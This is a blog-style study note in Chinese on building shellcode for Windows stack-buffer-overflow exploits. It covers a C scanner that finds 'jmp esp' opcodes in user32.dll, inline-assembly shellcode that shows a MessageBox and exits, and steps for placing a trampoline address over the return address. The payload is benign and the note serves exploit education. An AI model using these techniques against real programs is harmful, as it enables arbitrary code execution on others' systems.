zoukankan      html  css  js  c++  java
  • 【学习笔记Ⅰ】Chapter3 开发 shellcode 的艺术(实操)

    0x00 静态定位 shellcode

    0x01 原理

    在chapter2 栈溢出原理与实践的代码植入中,直接将返回地址构造成一个定值,但由于动态链接库的装入和卸载等原因,Windows 进程的函数栈帧很有可能会产生“移位”,造成如下图所示的情况,指向无效指令,导致 shellcode 无法正常执行。 

    为了解决这个问题,需要使用一个“跳板”,这里采用的是跳转指令 jmp esp(跳板技术应该算得上是Windows 栈溢出利用技术的一个里程碑)。

    攻击流程:

    • 用内存中任意一个 jmp esp 指令的地址覆盖函数返回地址;
    • jmp esp 指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行;
    • 重新布置 shellcode:将缓冲区前边一段地方用任意数据填充,把 shellcode 恰好摆放在函数返回地址之后。

    0x02 使用“跳板”定位的 exploit

    准备工作1:编程序搜索内存,找到 jmp esp 的内存地址。

    jmp esp 对应的机器码是 0xFFE4,程序的作用就是从 user32.dll 在内存中的基地址开始向后搜索 0xFFE4,如果找到就返回其内存地址(指针值)。修改程序可用别的动态链接库替换 user32.dll,或使用其他类型的跳转地址。

    //FF E0 JMP EAX
    //FF E1 JMP ECX
    //FF E2 JMP EDX
    //FF E3 JMP EBX
    //FF E4 JMP ESP
    //FF E5 JMP EBP
    //FF E6 JMP ESI
    //FF E7 JMP EDI

    //FF D0 CALL EAX
    //FF D1 CALL ECX
    //FF D2 CALL EDX
    //FF D3 CALL EBX
    //FF D4 CALL ESP
    //FF D5 CALL EBP
    //FF D6 CALL ESI
    //FF D7 CALL EDI


    #include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x ",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x ", address); done_flag = true; } } }

    运行结果:

    选择其中一条 0x77D86773 作为返回地址。

    准备工作2:为了修复之前 shellcode 无法正常退出的缺陷,在调用 MessageBox 之后,通过调用 exit 函数让程序干净利落地退出。

    ExitProcess 是 kernel32.dll 的导出函数,依然使用 dependency walker,找到我们所需的内存地址,结果如下:

    kernel32.dll 的基地址是 0x7C800000,加上函数的偏移地址 0x0001CAFA,最后得到函数的入口地址为 0x7C81CAFA

    准备工作3:提取汇编代码对应的机器码。通过反汇编工具,如 IDA pro 或 OD 完成汇编代码到机器码的转换。

    使用如下 shellcode 的源代码,用 VC6.0 编译运行:

    #include <windows.h>
    int main()
    {    
        HINSTANCE LibHandle;
        char dllbuf[11] = "user32.dll";
        LibHandle = LoadLibrary(dllbuf);
        _asm{
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    sub sp,0x440
                    xor ebx,ebx
                    push ebx // cut string
                    push 0x74736577
                    push 0x6C696166//push failwest
                
                    mov eax,esp //load address of failwest
                    push ebx    
                    push eax
                    push eax
                    push ebx
                    
                    mov  eax, 0x77D507EA//(0x77D804EA) address should be reset in different OS
                    call eax  //call MessageboxA
                                
                    push ebx
                    mov eax,0x7C81CAFA //(0x7C81CDDA) address should be reset in different OS
                    call eax //call exit(0)
                    
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
        }
    }

    注意!ExitProcess 函数的入口地址应该对应改成准备工作2中获得的内存地址。同时,前后输入较多的 nop 是方便下一步定位机器代码。

    结果:在 OD 中加载 PE 文件,找到相应的机器代码,复制到 TXT 文件中。

    至此,所需的准备工作就完成了,接下来就制作 exploit 吧!

    首先,计算好返回地址在缓冲区中的偏移,在第53-56字节处填入 jmp esp 的内存地址,之前用任意字符串填充(如‘1234’)。

    然后,将需要执行的机器代码填入:

    结果:使用跳板完成消息框,且不会出现内存错误了。

  • 相关阅读:
    ADO.NET
    VS调SQL中存储过程实现登陆
    摇奖
    面向对象、类、字段、属性、构造函数、析构函数
    打架
    2012/7/26Extjs笔记_Ext.grid.EditorGridPanel
    2012/7/30sql2005学习笔记
    SVN版本冲突解决办法(非加锁)
    2012/7/30sqlserver2005学习随笔
    struts环境搭建
  • 原文地址:https://www.cnblogs.com/ninahu/p/12546560.html
Copyright © 2011-2022 走看看